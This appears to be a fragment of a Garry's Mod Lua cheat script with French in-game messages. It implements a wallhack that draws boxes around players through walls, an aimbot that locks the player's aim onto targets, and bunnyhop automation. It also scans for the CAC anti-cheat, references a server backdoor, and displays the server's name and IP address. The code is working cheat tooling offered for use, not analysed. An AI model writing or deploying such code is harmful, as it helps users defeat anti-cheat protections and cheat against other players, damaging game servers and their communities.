- RunConsoleCommand("-jump")
- HasJumped = 0
- end
- elseif bunnyhop and LocalPlayer():IsOnGround() then
- if HasJumped == 1 then
- RunConsoleCommand("-jump")
- HasJumped = 0
- end
- end
- end
- end
- end)
- function walhackbox()
- for k,v in pairs(player.GetAll()) do
- if v ~= LocalPlayer() and v:Alive() then
- local x1,y1,x2,y2 = coordinates(v)
- surface.SetDrawColor( Color( 0, 69, 175, 255 ) )
- surface.DrawLine( x1, y1, math.min( x1 + 500, x2 ), y1 )
- surface.DrawLine( x1, y1, x1, math.min( y1 + 500, y2 ) )
- surface.DrawLine( x2, y1, math.max( x2 - 500, x1 ), y1 )
- surface.DrawLine( x2, y1, x2, math.min( y1 + 500, y2 ) )
- surface.DrawLine( x1, y2, math.min( x1 + 500, x2 ), y2 )
- surface.DrawLine( x1, y2, x1, math.max( y2 - 500, y1 ) )
- surface.DrawLine( x2, y2, math.max( x2 - 500, x1 ), y2 )
- surface.DrawLine( x2, y2, x2, math.max( y2 - 500, y1 ) )
- end
- end
- end
- hook.Add( "HUDPaint", "walhack6", walhack6 );
- hook.Add( "HUDPaint", "walhack5", walhack5 );
- hook.Add( "HUDPaint", "walhack4", walhack4 );
- hook.Add( "HUDPaint", "walhack3", walhack3 );
- hook.Add( "HUDPaint", "walhack2", walhack2 );
- hook.Add( "HUDPaint", "walhack", walhack );
- hook.Add( "HUDPaint", "walhackbox", walhackbox );
- function aimbot()
- CreateClientConVar( "Injaimbot", 0, true, false )
- if ConVarExists( "Injaimbot" ) and GetConVar("Injaimbot"):GetInt() == 1 then
- local ply = LocalPlayer()
- local trace = util.GetPlayerTrace( ply )
- local traceRes = util.TraceLine( trace )
- if traceRes.HitNonWorld then
- local target = traceRes.Entity
- if target:IsPlayer() and target:LookupBone("ValveBiped.Bip01_Spine") then
- local targethead = target:LookupBone("ValveBiped.Bip01_Spine")
- local targetheadpos,targetheadang = target:GetBonePosition(targethead)
- ply:SetEyeAngles((targetheadpos - ply:GetShootPos()):Angle())
- end
- end
- end end
- hook.Add("Think","aimbot",aimbot)
- ply = LocalPlayer()
- aiming = false
- function Locklacible()
- if aiming == false and GetConVar("Injaimbot"):GetInt() == 1 then
- target = LocalPlayer():GetEyeTrace().Entity
- aiming = true
- local trace = util.GetPlayerTrace( ply )
- local traceRes = util.TraceLine( trace )
- if traceRes.HitNonWorld then
- local target = traceRes.Entity
- if target:IsPlayer() then
- local targethead = target:LookupBone("ValveBiped.Bip01_Spine")
- local targetheadpos,targetheadang = target:GetBonePosition(targethead)
- ply:SetEyeAngles((targetheadpos - ply:GetShootPos()):Angle())
- locked = target
- Msg(locked)
- chat.AddText(Color( 255, 0, 0 ), "[", "Aimbot", "] ", Color( 255, 255, 255 ), "Cible vérrouillée" )
- end
- end
- else
- aiming = false
- chat.AddText(Color( 255, 0, 0 ), "[", "Aimbot", "] ", Color( 255, 255, 255 ), "Cible déverrouillée" )
- end
- end
- function aim()
- if ConVarExists( "Injaimbot" ) and GetConVar("Injaimbot"):GetInt() == 1 then
- if aiming == true then
- locked = target
- if locked:IsValid() and locked:Alive() then
- local targethead = locked:LookupBone("ValveBiped.Bip01_Spine")
- local targetheadpos,targetheadang = locked:GetBonePosition(targethead)
- ply:SetEyeAngles((targetheadpos - ply:GetShootPos()):Angle())
- else
- end
- end
- end
- end
- function unlock()
- locked = nil
- end
- concommand.Add( "lockcible", Locklacible)
- hook.Add("Think","aim",aim)
- if file.Exists( "includes/extensions/client/vehicle.lua", "LUA" ) == false then
- chat.AddText(Color( 255, 0, 0 ), "[", "SCAN", "] ", Color( 255, 255, 255 ), "AUCUN ANTI-CHEAT CAC DETECTÉ !" )
- end
- if file.Exists( "includes/extensions/client/vehicle.lua", "LUA" ) == true then
- if backdInjMenu == "" then
- chat.AddText(Color( 255, 0, 0 ), "[", "SCAN", "] ", Color( 255, 0, 0 ), "CAC ANTI-CHEAT DETECTÉ !! ATTENTION AUX KICK/BAN !!!" )
- else
- chat.AddText(Color( 255, 0, 0 ), "[", "SCAN", "] ", Color( 255, 255, 0 ), "CAC ANTI-CHEAT + BACKDOOR DETECTÉ !!" )
- end
- end
- local serveur = game.GetIPAddress()
- local partiesolo = game.SinglePlayer()
- local nomduserveur = GetHostName()
- if not partiesolo then
- chat.AddText(Color( 255, 255, 255), "[", "SCAN IP", "] ", Color( 255, 255, 255 ), ""..nomduserveur.."","/ ", ""..serveur.."" )
- print(""..nomduserveur.."","/", ""..serveur.."")
- end
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